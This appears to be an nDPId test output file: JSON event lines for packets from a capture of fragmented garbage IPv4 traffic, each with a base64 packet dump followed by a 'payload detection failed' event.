+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5337,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864590,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5337,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5338,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864603,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5338,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5339,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864642,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5339,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5340,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864670,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5340,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5341,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864682,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5341,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5342,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864692,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5342,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5343,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864706,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5343,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5344,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864720,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5344,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5345,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864734,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5345,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5346,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864748,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5346,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5347,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864760,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5347,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5348,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864774,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5348,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5349,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864787,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5349,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5350,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864799,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5350,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5351,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864812,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5351,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5352,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864826,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5352,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5353,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864840,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5353,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5354,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864853,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5354,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5355,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864867,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5355,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5356,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864881,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5356,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5357,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864894,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5357,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5358,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864906,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5358,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5359,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864920,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5359,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5360,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864933,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5360,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5361,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864946,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5361,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5362,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864969,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5362,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5363,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864987,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5363,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5364,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865001,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5364,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5365,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865014,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5365,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5366,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865026,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5366,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5367,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865041,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5367,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5368,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865054,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5368,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5369,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865068,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5369,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5370,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865080,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5370,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5371,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865095,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5371,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5372,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865109,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5372,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5373,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865127,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5373,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5374,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865138,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5374,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5375,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865147,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5375,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5376,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865157,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5376,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5377,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865168,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5377,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5378,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":865203,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5378,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 